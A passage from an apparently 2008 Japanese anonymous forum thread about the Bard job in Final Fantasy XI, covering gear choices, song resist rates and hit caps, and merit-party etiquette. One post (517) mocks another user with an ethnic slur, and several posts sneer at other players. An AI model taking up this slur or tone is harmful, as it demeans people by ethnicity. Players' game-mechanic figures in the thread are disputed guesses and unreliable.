507 名前： 名も無き軍師 投稿日：2008/07/07(月) 22:21:22 ID:kS8SG+cH: このスレだけなんでフォントおかしいの？
508 名前： 名も無き軍師 投稿日：2008/07/07(月) 22:43:39 ID:ODn10Amp: >>507
おまえだけ
509 名前： 名も無き軍師 投稿日：2008/07/07(月) 23:10:17 ID:Xw5812dw: ウィルスに感染してルナ
ご愁傷様
510 名前： 名も無き軍師 投稿日：2008/07/07(月) 23:16:33 ID:WXOxluA0: >>504
優先度で言うとミュージックピアスの方が若干上回るかもしれんが
ミンストは競売でも落とせるから財布と相談して都合がつくならミンストを優先するのもあり。
どちらもあると凄く重宝するだけに優先順位を決めるのは難しい。
お互いの利点を考慮して、自分のプレイスタイルに合った物を優先しろとしか言えない。

常時フル稼働状態で釣りに歌回しにと多忙な人にはミンスト
時間に余裕があり歌のレジ率を少しでも下げたい人にはピアス
といった感じで良いんじゃないかとは思う。
511 名前： 名も無き軍師 投稿日：2008/07/08(火) 00:44:33 ID:Gl/4QVEF: ミンストがいるかミュージックがいるかは個人次第だな
ここできくこっちゃない
512 名前： 名も無き軍師 投稿日：2008/07/08(火) 09:20:02 ID:Lh+PGIvc: >510
ミンストが競売で落とせる？
んなわけねーだろ、ばーか
と、思ったオレの負け
513 名前： 名も無き軍師 投稿日：2008/07/08(火) 13:52:49 ID:B6fEvHfh: >>512
話の流れからしてミンストレルリングとミュージックピアスの話じゃないのか？
ミンストレルリングならEx属性がないから金さえあれば競売で落とせる、
ミンストレルコートの事を言っているならEx属性があるので落とせないが、メリポも終わってるって人間がミンストレルコートとピアスで迷うとは考え難い。
514 名前： 名も無き軍師 投稿日：2008/07/08(火) 14:56:51 ID:sf/KLtCN: >>513
「オレの負け」って書いてるじゃんｗ
行間読もうよ。
515 名前： 名も無き軍師 投稿日：2008/07/08(火) 14:58:30 ID:0gGy/5+U: >>513
分かってるからこその書き込みだろ。
分かりきったことをずらずら書くなよ。恥ずかしいヤツだな。
516 名前： 名も無き軍師 投稿日：2008/07/08(火) 15:28:08 ID:wvB2MD86: 行間どころか行自体読めてないﾜﾛﾀ
517 名前： 名も無き軍師 投稿日：2008/07/08(火) 19:32:08 ID:ge95BcWB: 改行もままならないし。在日さん？
518 名前： 名も無き軍師 投稿日：2008/07/09(水) 02:06:29 ID:p7pW2RiH: 今から裏LS入れば詩人レリックなんて余り放題だろうからフルコンプ余裕かな～♪
519 名前： 名も無き軍師 投稿日：2008/07/09(水) 02:40:06 ID:a3YCc29v: レリックなんて頭以外死んでるからシャイル胴のために金策
するか、マル頭とるためにサルベかようんだ！
520 名前： 名も無き軍師 投稿日：2008/07/09(水) 02:41:28 ID:ZlV4MhuV: >513の人気に嫉妬。

>>518
長くやってるLSは北国多くて4国の揃う方に時間かかるかもな。
それでもまぁよほど運悪くない限りは半年以内に揃うだろう。
521 名前： 名も無き軍師 投稿日：2008/07/09(水) 03:16:06 ID:WDGrS0kB: たしかに詩人のレリック防具って、サルやってるうちにNPCに預かってもらうようになっちゃったな。
未だにその呪縛から逃れられずに裏通ってるというのに切ないｗ
522 名前： 名も無き軍師 投稿日：2008/07/09(水) 03:27:19 ID:HQk1Ry/d: ＡＦ手と脚打ちなおしたのはいいけどいまだにシャイル売れない・・
523 名前： 名も無き軍師 投稿日：2008/07/09(水) 07:57:52 ID:G/rlRO7j: >>520
半年は無理だな。
半年で北国6回づつ、4国3回づつ行ったとして、
希望者無しとしても4国のは2つ取れれば御の字、北国はどっちか出ればいいほうだろう。
524 名前： 名も無き軍師 投稿日：2008/07/09(水) 16:42:08 ID:lYV9qej7: >>523
どうでもいいけどそれ週１で計算してね？
525 名前： 名も無き軍師 投稿日：2008/07/09(水) 23:34:20 ID:G/rlRO7j: 裏って一応5日制限だけど大抵のとこは週1じゃねーの？
526 名前： 名も無き軍師 投稿日：2008/07/09(水) 23:37:47 ID:ZlV4MhuV: 3日制限だから週2が多いぞ？
527 名前： 名も無き軍師 投稿日：2008/07/09(水) 23:48:31 ID:G/rlRO7j: ありゃ、3日制限だったか。そういえば72時間は・・・って出てた気がするな。
うちは週1だからてっきり5日制限なもんかと思ってたよ。
5日制限はENMだな。すまんかった。

週2で行ってれば希望者かぶらなきゃ半年でコンプでもおかしくはないな。
528 名前： 名も無き軍師 投稿日：2008/07/10(木) 11:27:51 ID:kmlO7m/K: 知り合いに詩人がいる
そいつが常に朱雀脛当を装備している
取れたのが嬉しかったらしく自慢もされた
狙って装備しているようだ
なぜなんだ？
にわか詩人のオレには意図が理解ができない
529 名前： 名も無き軍師 投稿日：2008/07/10(木) 12:49:24 ID:ES08luHn: >>528
自分で理由書いてんじゃん。
取れたのが嬉しい、自慢したい、だから狙って装備している。まんまじゃないの。
そこに詩人的有利なプロパティ云々は関係ないんだろ。
530 名前： 528 投稿日：2008/07/10(木) 13:23:44 ID:kmlO7m/K: >529
なるほど・・・理解した・・・
んだが、じゃあ、なぜ嬉しいのだ・・・てなるんだけどｗ
性能が有用、グラが好き、理由はいろいろあるだろうが
欲しくもない装備がとれても嬉しくないよな？
まぁ、そこらは本人以外知るよしもないか

なんかいいことあんのか？てのが知りたかった
思い付くのはストンスキンくらいか
531 名前： 名も無き軍師 投稿日：2008/07/10(木) 13:36:23 ID:2uBC4USx: ストン好きン
532 名前： 名も無き軍師 投稿日：2008/07/10(木) 13:58:47 ID:EaJoyxo8: >>530
驚きの高防御力！！！
533 名前： 名も無き軍師 投稿日：2008/07/10(木) 15:07:34 ID:gKTKkMrx: 人が喜んでるのに無粋なつっこみとかKYかよ
534 名前： 名も無き軍師 投稿日：2008/07/10(木) 16:41:32 ID:Z20QqMCI: エロ詩吟・・まいります。
535 名前： 528 投稿日：2008/07/10(木) 18:34:18 ID:kmlO7m/K: そういうがな、そいつが朱雀入手したのは半年前だぞ
ゴリ足なんかも持っている
それでも朱雀を選択している
着替えられない理由があってどっちかを常時装備するとしたらゴリ足つかわん？

気に入った装備を使ってる、有用云々は関係ないでもいいだろう
思い出装備なのかもしれんな
とにかくなんで気に入ってるのかしりたいわけですよ
なるほどと思える理由があるならオレも使ってみようかと思ってるんだ

直接聞け、てのはかんべんしてくれｗ
536 名前： 名も無き軍師 投稿日：2008/07/10(木) 18:38:10 ID:H0hOdevL: エスパーじゃねーんだからそんなのここできいたって誰もわかるわけねーだろ
直接聞けや
537 名前： 名も無き軍師 投稿日：2008/07/10(木) 18:39:45 ID:WT8CI5xO: すぐ近くにいて付き合いも長いであろうお前が分からないってのに、
どうすれば赤の他人が分かるんだ？
エスパーじゃないんだから性能以外の部分での「気に入ってる理由」なんて
「勘弁w」じゃなくて直接聞くしかねーだろそんなの…
538 名前： 名も無き軍師 投稿日：2008/07/10(木) 19:14:09 ID:CEHcsiGK: ピアニッシモとは一体何だったのだろうか。
539 名前： 名も無き軍師 投稿日：2008/07/10(木) 19:31:17 ID:4YWvvWjd: >>528
マルとか花鳥風月の装備自慢してたら嫌味に、
どうでもいいもの装備自慢しててもただの馬鹿に、
じゃあレアはあり、需要の低い物なら
そのどちらにもならないし、嫉妬もされない。

要するにかまって欲しいか褒めて欲しいんでしょ。
540 名前： 名も無き軍師 投稿日：2008/07/11(金) 01:24:55 ID:/A3DMxHE: ピアニッシモは範囲を狭めている分詠唱時間も短縮されるべき
541 名前： ヴァナｍ ◆ZrzGMHfgII 投稿日：2008/07/11(金) 02:09:57 ID:9qYGPV59: メヌ→マド→バラ2→バラ
ってかけると、バラ2がバラで上書きされてマドバラかかるんだけど
昔からこういう仕様だっけ？
マド→メヌ→バラ2→バラ　だとメヌバラ
マド→メヌ→バラ→バラ2　だとメヌバラ2
３曲目がなぜか２曲目より先に消える
５曲目は２曲目を上書きする
542 名前： 名も無き軍師 投稿日：2008/07/11(金) 02:25:25 ID:P23FffTE: >>540
小声だけど、早口じゃないから。
543 名前： 名も無き軍師 投稿日：2008/07/11(金) 02:29:49 ID:WIkdQY76: >>541
歌はかけた順ではなく効果時間長い方が優先ですよ。
544 名前： 名も無き軍師 投稿日：2008/07/11(金) 02:31:17 ID:Gu5sYd3O: 昔から？って書いてるとこ見たら新参者じゃないよね？

メヌとマドは専用楽器使って効果時間延びてるから

これ以外でそうなるならバグかもね、メールするなりＧＭでも呼べ
545 名前： ヴァナｍ ◆ZrzGMHfgII 投稿日：2008/07/11(金) 02:40:02 ID:9qYGPV59: >>544
ああ、なるほどね。
詩人スレに来たついでに１つ。
FF用語辞典にはレクイエムの効果2分て書いてあるけど、
レクイエムは全部効果時間バラバラで2分のものは１つもない。
楽器なしで60、78、93、111、126、144秒。
546 名前： 名も無き軍師 投稿日：2008/07/11(金) 02:44:25 ID:Gu5sYd3O: よし寝る前にモウ一つ教えておいてやろう

用語辞典とファミ通は迂闊に信じるな、コレダイジ
547 名前： ヴァナｍ ◆ZrzGMHfgII 投稿日：2008/07/11(金) 02:54:26 ID:9qYGPV59: その２つはハナから信じてない側の人間なんですけどね・・・。
レクイエムの効果時間をネットで探してみたけど、
それらしいことが載ってるサイトが見つからなかったから
自分で調べてみたのでついでに報告しただけ。
548 名前： 名も無き軍師 投稿日：2008/07/11(金) 03:44:52 ID:/A3DMxHE: 俺のピアニッシモ！
俺は赤に魔道士のバラードIIを唱えた。
赤が遠くにいるため魔道士のバラードIIがかけられない

ﾋﾞｷﾋﾞｷ
549 名前： 名も無き軍師 投稿日：2008/07/11(金) 07:56:13 ID:apeEb9ZD: それらしいことが載ってるサイトは一応あるんじゃないかな～

用語辞典は確認して書いてるんじゃなくてほとんど思い込みで書いてるのばっかりだからね・・・

ファミ通は何計測してたんだろ？
スリップ系はサーバのカウント次第でたまに回数ずれるからしょうがないのかもしれないけど
550 名前： 名も無き軍師 投稿日：2008/07/11(金) 16:17:58 ID:LXcK+REG: サルベとかだと赤はいろいろ動き回るからピアニッシモしてピンバラしようと思っても
さっさと釣りに行ったりして範囲外になってﾋﾞｷﾋﾞｷｨとなる
551 名前： 名も無き軍師 投稿日：2008/07/12(土) 01:59:01 ID:Zdait2IJ: やったーマルドゥクティアラ手に入れたよー
552 名前： 名も無き軍師 投稿日：2008/07/12(土) 02:25:12 ID:zsySKKSm: <<547 あなたヴァナモンさんか？
コテからしてもそうだとしか思えないがｗ
553 名前： 名も無き軍師 投稿日：2008/07/12(土) 08:44:21 ID:mehGuRbJ: <<552 それがどうかしたのか？
554 名前： 名も無き軍師 投稿日：2008/07/12(土) 23:22:47 ID:OWKYwDHF: AF+1でこれだけは作っておけってのがあったら教えて下さい。
555 名前： 名も無き軍師 投稿日：2008/07/12(土) 23:25:41 ID:5rGG1Rnt: カフス
556 名前： 名も無き軍師 投稿日：2008/07/12(土) 23:36:30 ID:OWKYwDHF: はい
557 名前： 名も無き軍師 投稿日：2008/07/13(日) 02:08:01 ID:1ZxqVEqa: ゴリ頭とれたー
サル・裏には縁がないのでこれが最終装備になりそう・・
558 名前： 名も無き軍師 投稿日：2008/07/13(日) 02:18:03 ID:gRzciLZ2: ヴァナモンさんのblogとかはいつも拝見しているが
ファミ通のネタを自分の検証でウソッパチだと証明してるのが笑える。
というかジョブ板長く見てる奴ならよく見るコテだぞいちいち突っ込むなよｗ

でも詩人スレにくるのは珍しいね。いらっしゃい。
あなたが詩人持ちなの忘れてたよｗ
赤スレ・モンススレ・検証スレばっかだもんね。
こういう質問してるってことは久々に詩人でメリポにでも出動したってことかの。

俺の中ではあなたは赤/獣でモンスと戯れてるイメージになっている。
559 名前： 名も無き軍師 投稿日：2008/07/13(日) 07:53:22 ID:2mviI8nK: 色々詩人装備そろえたんだが、
怖くてメリポ希望できない俺にアドバイスをくれ

ちなみに装備はこれ
メイン：属性杖
サブ：Ｂ．ストラップ＋１
レンジ：楽器
頭：ＡＦ２
首：ウィンドトルク
耳：ミュージック・シンギング
胴：マハトマ・イギト
手：ＡＦ１改
指：天王・オメガ
背：ジェスター＋１
腰：グリーマン
脚：ＡＦ２
足：ゴリ

ちなみにサポ忍はないし、釣りの経験は０だったりする・・・
メリポ希望出してる詩人はサポ忍ばっかりだし、
装備もこれで通用するのかも分からん。
サル装備はどうも敷居が高くて手が出せずにいるので、
それ以外で装備の改善点等があったら教えて欲しい。
詩人リングとかあった方が良いのかな？
560 名前： 名も無き軍師 投稿日：2008/07/13(日) 08:14:00 ID:W1FLNpnp: >>556
すごい装備ですね^^♪

と、嫌味一発入れつつマジレスすると
装備は問題なし杖がNQなら土光だけでもHQにするくらい
あとサポ忍上げとくべきかとサポ白のみでも
サチコに書いとけば誘いは来るはずサポ白だと回復補助とかもするんで
MPブーストもあればいい感じかな？まぁMPカツカツになる事ないだろうからバミでもありゃおｋ
サポ忍出来るようになるまでサポ白で参加して釣り吟見て勉強すればいいんじゃないかな？
サポ忍やるようになればヘイスト装備あればいいかも
21％なら行けるんで蝉張替えが楽になるはず言うほどシビアな蝉回ししないけどね
561 名前： 名も無き軍師 投稿日：2008/07/13(日) 08:54:10 ID:2mviI8nK: >>560
アドバイスありがとう
詩人は７５になってもカンパニエしか参加してなかったから
メリポに挑戦してみようと思ったんだ。

杖はメイン黒なもんで揃ってる
装備が他後衛の流用が多くて心配でね。
サポ白なのでＭＰ重視で脚をＡＦ２だったりしてます

サチコに書いて
昼過ぎから試しにメリポ希望出してみるよ

サポ忍は昔サポ暗上げた時のトラウマ引きずってて
中々踏み出せないのよね
サポ忍上げも考えておきます
562 名前： 名も無き軍師 投稿日：2008/07/13(日) 09:53:33 ID:ELB8kqWC: >>559
サポ忍ない詩人はイラネ
563 名前： 名も無き軍師 投稿日：2008/07/13(日) 10:20:15 ID:W1FLNpnp: >>562
イラネは無いんじゃないかな？
吟なしでメリポPTなんて都市伝説な昨今
吟抱えてないPTだと悩むところだけど
吟抱えたPTだと一本釣り状態でウハウハじゃない？
まぁ鯖や時間帯で色々あるだろうけど
６枠目の選択網としての吟/白の優先順位って低いとは思えないけどな～
564 名前： 名も無き軍師 投稿日：2008/07/13(日) 11:08:55 ID:sovKbK71: >>563
いやぁ…サチコメにサポ白のみって書いてあればいいけど
なかったらサポ白で希望出しててもサポ忍釣り前提で誘うからサポ白
でおｋって流れは困るｗ

参加するのは構わないし、全然使えるけど兎に角サチコメに釣り×だとか
サポ白のみって書いて欲しいわぁ

>>559
あ、装備すごいですね＾＾　お手数でしょうし興味ないので書なくていいですよ
565 名前： 名も無き軍師 投稿日：2008/07/13(日) 11:22:57 ID:VhdXQ/jk: モグボナンザで2等が当たってたんだけど、吟しか75が無いんだよね...。
バードキャニオンズ択一かなぁ...。
566 名前： 名も無き軍師 投稿日：2008/07/13(日) 11:24:59 ID:UeaOrhzD: 1000万でいいじゃん。
AF2は頭しか要らないぞ。

赤上げる可能性があるなら、絶対シャポー。
567 名前： 名も無き軍師 投稿日：2008/07/13(日) 11:33:15 ID:o1Zg8D2z: 詩人をやめてベロシアスか黒帯かシャポーかアムレット取るといい
少なくともキャニオンズは100%無い
これとるなら1000万もらってシャイル胴買うかマル胴作るべき
568 名前： 名も無き軍師 投稿日：2008/07/13(日) 11:38:51 ID:sLycbn/C: 後衛、赤詩詩でメリポすればいいじゃない。
吟/白はメインヒーラーで、コンバ後のケアルのぞけば、良前衛なら８～９割、
ケアル担当できる。緊急時・歌中以外、赤にケアルさせちゃダメ。

なれれば、釣り吟の釣ってきたモンスをほぼ全部ララで受けれるし、修羅エレ
漏れ(戦場、ベーン釣り、ララ釣り、絡まれ・リンク釣り、ペット)のモンスに
エレジー入れられる。
ララ５振り、シャイル/シャイフ手お勧め。
569 名前： 名も無き軍師 投稿日：2008/07/13(日) 12:00:53 ID:p8N6Kr2j: アルカルロプスいくらなら買いかな？
９００万で出てるんで借金して買うか迷い中。。
570 名前： 名も無き軍師 投稿日：2008/07/13(日) 12:03:23 ID:fo5x0nTN: ９００なら買いだろ・・・どこの鯖だ？
571 名前： 名も無き軍師 投稿日：2008/07/13(日) 12:07:55 ID:ELB8kqWC: 早めの時間にPT作れれば詩2いけるけど詩1ですら探すのけっこー大変なんだよね
ウチの鯖だけなんだろうか

>>559
メリポならそこまで装備いらない
俺はメリポなし、頭オポ、耳メロディ×2、胴脚エラント、手AF1、指エンジェル×2、足シャイル
これでもほぼキャップだし
572 名前： 名も無き軍師 投稿日：2008/07/13(日) 12:45:58 ID:o1Zg8D2z: メリポなしでそんなクソ装備でキャップいくはずねーだろｗ
ロンフォの兎でも相手にしてんのか？
573 名前： 名も無き軍師 投稿日：2008/07/13(日) 12:54:47 ID:lyQ1pWlV: >>571
その装備では間違いなくキャップいかない
574 名前： 名も無き軍師 投稿日：2008/07/13(日) 12:57:46 ID:o1Zg8D2z: あーでも墓で骨相手ならキャップするかもしれん
墓限定の話だったらすまん
575 名前： 名も無き軍師 投稿日：2008/07/13(日) 13:38:20 ID:pS6bqDug: メリポ管８歌８(+16+16)
NQ光土、Bスト+1、各+2楽器
バード頭、ウィンドトルク、メロディ+1、ミュージック
エラント胴[ミンスト]、AF+1手、バルラーン[ネレイド]、オメガ[ネレイド]
ジェスター、グリーマン、エラント、ダンス+1

これでマムメリポ２時間半ぐらいだとエレジーは運がよければ100.0%に
ララバイに関しては、白マム以外なら100.0%、白マムは75%ぐらいになる
576 名前： 571 投稿日：2008/07/13(日) 14:19:06 ID:ELB8kqWC: >>572-573
ララバイ・エレジー共に翡翠前で90～95%いってるけど？
577 名前： 名も無き軍師 投稿日：2008/07/13(日) 14:24:34 ID:LqvlxXyt: >>569
>>570

なんかその流れ上のほうでも見たぞｗ
９００万なら欲しいとは思うが、詩人は極めると命中率結構いくらしいし
属性杖から変える必要性があるという検証が欲しいとこだ・・
578 名前： 名も無き軍師 投稿日：2008/07/13(日) 14:26:03 ID:gRzciLZ2: 俺は571より多少良い装備だけどいかないよ。
AF+1手脚頭オポ耳シンギングミュージック足シャイル
メリポ無しだけど種族はエル、CHRが足りないのか？
獣マムとかレジスト効果発動でエレジーレジが普通に出るし
魔道系マムにララレジも結構でる。80％台になるよ。

その数値はプークとかワイバーン全部入ってるんじゃないの？
579 名前： 571 投稿日：2008/07/13(日) 14:33:09 ID:ELB8kqWC: >>578
全部入ってるｗ
個別に出せたっけ？
580 名前： 名も無き軍師 投稿日：2008/07/13(日) 14:40:58 ID:T1YXtZ7h: レジスト効果はキャップと混ぜてはいかんだろｗ
581 名前： 名も無き軍師 投稿日：2008/07/13(日) 14:49:34 ID:TtJjTz4M: 90～95ならまあ納得出来なくもない数字。
ただそれは全然キャップ到達して無いぞ。
歌も95％でキャップするって勘違いしてるんじゃないか？
582 名前： 571 投稿日：2008/07/13(日) 15:19:19 ID:ELB8kqWC: >>581
95%キャップだと思ってたわ・・・正直すまんかった
スキルはメリポ振れないけど装備もうちょっとがんばってみるわ
583 名前： 名も無き軍師 投稿日：2008/07/13(日) 16:15:22 ID:pS6bqDug: スレノディ以外はフル95% フル未満4.75% レジスト0.25% の 99.75% がキャップ
スレノディは特性にあわせるとフル95% フル未満5%の100.00%がキャップ

という認識であってるかな？
584 名前： 559 投稿日：2008/07/13(日) 16:57:45 ID:2mviI8nK: 初詩人メリポいってきたぜ
前４の赤詩で、釣りは前衛リダがやってくれました（サチコに、サポ忍×・釣り初心者とは書いておいた）
マム上段で時給２万超えれたのに少し感激したかもｗ
メリポ希望してみてよかったｗ（前衛釣りなので正確にはメリポとは呼ばれないのかもしれないが・・・）

装備について書かれてるけど、
特別良い装備してる気は無いのだが・・・？

と言うより、
他の詩人が
胴：大袖・シャイル・マルドゥク
脚：シャイル・白虎・マルドゥクと
俺と同じ格好の詩人がいなかったのも
不安になって書き込んだ理由だったんだ。

てっきり、
シャイルない詩人は～
サルベ装備ない詩人は～
って叩かれると思ってたんだ。

それと上段メリポでＲｅｐとか集計ツール使ってないので記憶頼りだけど、
３時間やって、達ララが白マムに２回レジ
単体のララはレジなし
修羅エレが獣マムに二桁を超えるレジと言う結果でした・・・orz

後もう一つ質問なんだけど、
マムってレクイエム入らないの？
寝かしたマムを起こす為にレクイエム使ったんだけど
全部レジでした・・・
試行した回数が少ないので、自分がヘボイだけなのかもしれないが・・・・・・
長文でゴメンネ、でもアドバイスありがとう～
585 名前： 名も無き軍師 投稿日：2008/07/13(日) 16:59:50 ID:3XLinue+: 前衛は詩人の装備なんて見てないよ
歌きらさないか・チェーンつなぐ釣りできるかどうかが全て
586 名前： 名も無き軍師 投稿日：2008/07/13(日) 17:00:07 ID:pS6bqDug: レクは普通にはいってると思うよ
レクで起こすときにレジられた経験は１度もない
587 名前： 名も無き軍師 投稿日：2008/07/13(日) 17:00:34 ID:3XLinue+: あとレクイエムだけど、アトルガンエリアのモンスターはほぼ全てレクイエムに完全耐性持ち
サルベージのボスくらいしか入るやついないんじゃね？ってくらい
588 名前： 名も無き軍師 投稿日：2008/07/13(日) 17:01:25 ID:3XLinue+: >>586
まじで・・・？レクイエム入るっけ・・・？
589 名前： 名も無き軍師 投稿日：2008/07/13(日) 17:01:33 ID:pS6bqDug: まあ、レクでおこすことが、３時間のメリポで０が普通だから
こちらとしても、試行回数が少なすぎてレジ率がどんなもんか不明だけどね
590 名前： 名も無き軍師 投稿日：2008/07/13(日) 17:03:23 ID:2mviI8nK: 連投でゴメンネ

>>565
モグボナンザで２等景品で詩人ＡＦ２はもったいないと思うよ
毎週どこかの曜日に継続して夜に時間取れるなら、
詩人ＡＦ希望で裏ＬＳ入りたいならかなり誘われやすいと思う。

というより、詩人ＡＦ２は希望者にすぐ行き渡ってフリーになってる所が多いはず
あまりここで書く話題ではないけど、
１０００万あれば、シャイル胴買って、
そのお釣りとかでザルカ詩人ＡＦ２のロット権すら買えてしまいそうなほど・・・

裏装備外販とか荒れるネタなので、もし荒れたらごめんよ
591 名前： 名も無き軍師 投稿日：2008/07/13(日) 17:03:26 ID:pS6bqDug: 少なくとも、マムージャ監視哨の前にいるマムージャには
レクイエムは入るよ

アトルガン育ちじゃないので、レベリングの各種には試してない
592 名前： 名も無き軍師 投稿日：2008/07/13(日) 17:48:36 ID:Zy8cKMJO: >>584
は？脚：白虎って何？
・・・ああ、玄武兜，大袖，佩楯の使いまわし手抜きか。やれやれ
593 名前： 名も無き軍師 投稿日：2008/07/13(日) 17:50:41 ID:Zy8cKMJO: >>585
前衛後衛関わらず詩人LV75持ちはそれなりにいるから
何も言わないまでも「うわぁ・・・こいつと二度と組みたくねぇ」と思ってるよ。
詩人がいないとメリポにならないから誰も口に出さないだけ。
594 名前： 名も無き軍師 投稿日：2008/07/13(日) 18:00:15 ID:o1Zg8D2z: 実際逆の立場になって、前衛の装備が終わってても/p　クソですね＾＾；
とかいわないだろ？ｗ
口には出さないけど、ハズレだなぁ・・・とは思われてるよ
595 名前： 名も無き軍師 投稿日：2008/07/13(日) 18:13:04 ID:2mviI8nK: 白虎詩人は時たま見るので
あれはあれで何か理由があってアリなのかと思ってたけど
使い回しだけだったのか・・・

俺も使いまわし多いから人のことは言えないがｗ

言ってはいけない事だが、
白赤学とメリポに参加てきたが
最近まで詩人の装備は見ていなくてね、
詩人でメリポを考えるようになってチェックし始めるようにしたんだ

今日は詩人自分だけだったけど、
しばらくメリポ参加してみて他の詩人の動きとか細かくチェックしてみるぜｗ
596 名前： 名も無き軍師 投稿日：2008/07/13(日) 18:13:18 ID:gRzciLZ2: でもエラントイギトとか着てちゃんと着替えてるような人ならそこまでは思わないかな。
やたらレジ多いからおかしいなと思って聞いたら弦楽器だった人に
管楽器の方が良いですよぐらいは言ったけども。
あからさまな手抜きじゃなきゃ資産の違いもあるしアレコレ言う気はないかな。

それに麒麟白虎な詩人てのは、カバン余裕が無くてとりあえず着てるような人がほとんどかと。
メリポ中も白虎のまま釣ってる人は見た事無い。
現地についてからシャイルとかに着替えて
白虎無しの前衛にプレッシャーを与えるような人はよく見たが。
597 名前： 名も無き軍師 投稿日：2008/07/13(日) 18:22:39 ID:2mviI8nK: ごめん何度も書き込んで

>>568　に書いてように、
ララはレジが怖いからＡＦ手改のままでメリポで短縮がんばって
エレジー・フィナーレはシャイフ手でリキャ短縮させると便利なのかな？

ＡＦ１改がシャイフ手になる事によって、
エレジーのレジが増えると本末転倒だけど
メリポで管楽器・歌唱振ってなくても実用レベルなのかな？
598 名前： 名も無き軍師 投稿日：2008/07/13(日) 18:40:46 ID:rt0fLjQn: メリポで詩人が白虎を穿くのは、
前衛が白虎持ってない時の嫌味だけじゃね
599 名前： 名も無き軍師 投稿日：2008/07/13(日) 18:49:27 ID:3meSrwiT: ピンマド時に装備だろｊｋ
600 名前： 名も無き軍師 投稿日：2008/07/13(日) 19:01:01 ID:p8N6Kr2j: シャイフ手は管楽器歌唱共に８振ってる詩人だけが使ってもいい装備だと思う
フィナーレとかはいいけどｎ
601 名前： 名も無き軍師 投稿日：2008/07/13(日) 19:01:58 ID:gRzciLZ2: メリポでボクだけピンマドですね。わかります。
602 名前： 名も無き軍師 投稿日：2008/07/13(日) 21:08:57 ID:STxYA+Vy: >>584
前４ってところにリーダーの必死さが見え隠れ
603 名前： 名も無き軍師 投稿日：2008/07/13(日) 21:51:33 ID:VhdXQ/jk: ギャッラルホルンが欲しいにゃ...
604 名前： 名も無き軍師 投稿日：2008/07/14(月) 10:25:07 ID:RLR5qZHD: 詩人さんブリストして釣り行ってください
605 名前： 名も無き軍師 投稿日：2008/07/14(月) 11:39:43 ID:D054tC8L: ブリストする暇があればするんだけどな・・・
殲滅速いと歌すらきつくなってくるよな・・・
キャンプ釣りだと移動距離ながくてきついしな・・・
歌とチェーンのどっちかあきらめてくれればブリスキくらいいくらでもする・・・

両立できないヘタレですんません
606 名前： 名も無き軍師 投稿日：2008/07/14(月) 12:30:18 ID:gx90gDpF: >>597
素直にAFにしとけ
レジられて再詠唱してたら本末転倒
rep取ってｼｬｲﾌ手つけてもエレララ95%越えるの確認してから使うべし
607 名前： 名も無き軍師 投稿日：2008/07/14(月) 14:54:57 ID:h3EhLp8P: >>597
歌/管スキル合計490、CHR120、光土HQ杖が命中95%以上の合格ラインだから、
スキル+1 = CHR+2 = 魔法命中+1 と換算して、
シャイフ手有りの状態で合格ラインを超えるか計算してみな。
608 名前： 名も無き軍師 投稿日：2008/07/14(月) 15:05:44 ID:gx90gDpF: マムメリポまでなら
CHR110くらいで十分な気がするが
609 名前： 名も無き軍師 投稿日：2008/07/14(月) 18:14:14 ID:EXgg1Hg9: フィナーレはシャイルorシャイフ手でも問題ないと思うがエレはAF+1使ってるな
610 名前： 名も無き軍師 投稿日：2008/07/14(月) 19:40:10 ID:TydIN6hJ: >>608
雪山とか墓なら100もあればいいと言われているけど、
マム相手だと120ぐらいまではCHRも重要。
110ぐらい確保できたら、CHRの代わりに管楽器・歌唱も上げるというのはアリだけど。
611 名前： 名も無き軍師 投稿日：2008/07/14(月) 21:37:04 ID:WxST8P2y: メリポ０な俺だけど、これでキャップしてるな
HQ杖、Bスト+1
AF2頭、ウィンドトルク、ミュージック、シンギング
エラント胴、イギト胴、AF+1手、バルラーン、ライト
ジェスター+1、グリーマン、AF+1脚、ゴリ足

マムにレクは完全レジだと思って歌った事無いや
大袖、佩楯付けるときは、当てつけな時だけだな
612 名前： 名も無き軍師 投稿日：2008/07/14(月) 22:34:35 ID:MBYxANXG: >>610
うーん・・・
歌/管スキル合計490、CHR110くらいで
何度メリポいっても95%～100%なんだが・・
俺だけじゃないはず。

ほんとに必要なのかね
613 名前： 名も無き軍師 投稿日：2008/07/14(月) 22:37:43 ID:HWSH0yw7: キャップってのは95%×95%で10,000回歌うたったら、25回
400回に1回レジられる事だぞ？
なんかこのスレ20回に1回がキャップって勘違いしてるヤツ多いが
マム相手にキャップ行こうと思ったら、かなりの高スキルいるぜ
614 名前： 名も無き軍師 投稿日：2008/07/14(月) 22:45:30 ID:HWSH0yw7: >>612
スキルがたらなさすぎますやん・・・
615 名前： 名も無き軍師 投稿日：2008/07/14(月) 22:50:06 ID:+ZEWjPQa: 一番低い95%時、実魔法命中率は78%にしか過ぎないんだよな。
フルヒット78％×ハーフヒット78％＝レジ無し95％ね。
まあ精霊魔法と同じ式であれば、だけど。
616 名前： 名も無き軍師 投稿日：2008/07/14(月) 23:06:25 ID:HWSH0yw7: 東サルタやギデアスにでもいってきて
ヤグ相手にララいれて20回に1回レジられたらその計算であってるんじゃないの？ｗ
キャップってのはそういうことだ
617 名前： 名も無き軍師 投稿日：2008/07/14(月) 23:06:27 ID:6bd3DJn+: ｑ
618 名前： 612 投稿日：2008/07/14(月) 23:06:59 ID:MBYxANXG: ふむ・・・つまり
repじゃわからないってことか。
ハーフレジもわかればいいのになー
マムにスキルどのくらいが本当のキャップなのかとか検証でてたっけ？

ラムパンとかロケイシャス、ミンストＲ、シャイフ手とか
スキルステに変えれば
歌/管スキル合計490、CHR110よりもっと上げれるけど
俺はこのままでいい気がするわー

マムに関して言えば
レジられたログをきちんと見てるかどーかのほうが重要のような気がするし。
619 名前： 612 投稿日：2008/07/14(月) 23:09:44 ID:MBYxANXG: ああラムパンとか耳とかそのへん敵歌のとき変えてたわ
620 名前： 名も無き軍師 投稿日：2008/07/14(月) 23:31:30 ID:3/P+8IjT: >>615
この式ってどこから来たのん? ソースきぼん。
(1 - 0.78) * (1 - 0.78) = 0.05(約)
ということを言いたいと思うのだけど、フルヒットとハーフヒットが同
じでなければいけない理由はないし、精霊だとクォーターヒットとか、
それ以下があるわけで。
621 名前： 名も無き軍師 投稿日：2008/07/14(月) 23:52:14 ID:lMGLH3ej: >>620
詩人でレジスト率気にしながらララバイうってる人達の
経験結果からでた仮定の一つ・・じゃないのかな・・？

自分もここずっとメリポでララバイに関しては完全レジスト無いので
命中キャップが単純に５％とはとても思えない。
ので、このような計算式になってるんじゃないのかな？と思ってます。
闇曜日とかに歌うとララバイもクォータ出た気がします。

検証するにしてもララバイは精霊みたく瞬時で結果でるわけでもないしものすごいだるいｗ
